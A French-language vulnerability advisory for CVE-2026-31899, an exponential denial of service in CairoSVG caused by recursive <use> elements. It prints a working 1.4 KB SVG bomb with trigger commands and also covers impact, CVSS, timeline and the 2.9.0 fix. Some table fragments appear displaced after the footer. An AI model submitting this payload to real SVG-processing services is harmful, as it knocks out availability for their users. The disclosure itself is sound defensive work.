
CVE-2026-31899 : DoS exponentiel via l'amplification récursive de l'élément <use> dans CairoSVG (CVSS 7.5 — Élevé)
Mots-clés : CVE-2026-31899, CairoSVG, déni de service exponentiel, bombe SVG, élément use récursif, déni de service, amplification XML, vulnérabilité SVG Python, CWE-400, consommation incontrôlée de ressources, SVG billion laughs
Déni de service exponentiel CairoSVG (CVE-2026-31899) — Une charge utile SVG de 1 411 octets maintient le CPU à 100 % indéfiniment via l'amplification récursive des éléments .
CairoSVG (~300 000 téléchargements/semaine) est un convertisseur Python SVG vers PNG/PDF très utilisé. La fonction use() dans cairosvg/defs.py traite récursivement les éléments sans aucune limite de profondeur ni de nombre. Avec 5 niveaux d'imbrication et 10 références chacun, un petit SVG déclenche 10^5 = 100 000 appels de rendu — une variante SVG du « billion laughs ».
Découvert par : Kai Aizen — SnailSploit Publié : 13 mars 2026 Score CVSS : 7,5 (Élevé) CWE : CWE-400 — Consommation incontrôlée de ressources Paquet : CairoSVG (PyPI) Type d'attaque : Déni de service exponentiel Privilèges requis : Aucun (non authentifié)
La fonction use() dans cairosvg/defs.py (ligne ~335) résout récursivement les éléments qui référencent d'autres éléments . Il n'y a ni limite de profondeur de récursion ni budget total d'éléments. Un attaquant peut concevoir un petit SVG où chaque couche référence la couche précédente N fois, produisant O(N^profondeur) appels de rendu à partir d'une entrée O(profondeur).
La vulnérabilité existe car :
Avec 5 niveaux et un facteur de ramification de 10 :
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
Total : 111 111 appels de rendu à partir d'une entrée de 1 411 octets.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
Méthode 1 — Ligne de commande :
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
Méthode 2 — Python :
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
Tout service qui accepte une entrée SVG et utilise CairoSVG pour le traitement est vulnérable :
| Surface d'attaque | Exemple |
|---|---|
| Génération de vignettes |
Une seule requête avec une charge utile de 1,4 Ko saturera le thread de traitement indéfiniment tout en consommant un minimum de mémoire (aucun kill OOM pour vous sauver).
Mettez à niveau CairoSVG vers la version 2.9.0 ou ultérieure :
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Date | Événement |
|---|---|
| 2026-03-09 | CVE réservé |
| 2026-03-13 | Avis de sécurité publié (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | CairoSVG 2.9.0 publié avec le correctif |
Kai Aizen (SnailSploit)
⚠️ Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. La preuve de concept est fournie pour aider les défenseurs à valider leur exposition. Utilisez-la de manière responsable.
L'analyse complète, la méthodologie et les recherches associées de ce projet se trouvent sur :
Créé par Kai Aizen — chercheur indépendant en sécurité offensive.
snailsploit.com · Recherche · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Même attaque. Substrat différent.
| Téléversement SVG → le serveur convertit en PNG |
| Génération de PDF | SVG intégré dans un document → CairoSVG effectue le rendu |
| Traitement d'avatars/images | Images de profil SVG téléversées par l'utilisateur |
| Rendu de rapports | Graphiques SVG dans des rapports automatisés |
| Pipelines CI/CD | Ressources SVG traitées pendant le build |
| Métrique | Valeur |
|---|
| Vecteur d'attaque | Réseau (AV:N) |
| Complexité d'attaque | Faible (AC:L) |
| Privilèges requis | Aucun (PR:N) |
| Interaction utilisateur | Aucune (UI:N) |
| Périmètre | Inchangé (S:U) |
| Confidentialité | Aucune (C:N) |
| Intégrité | Aucune (I:N) |
| Disponibilité | Élevée (A:H) |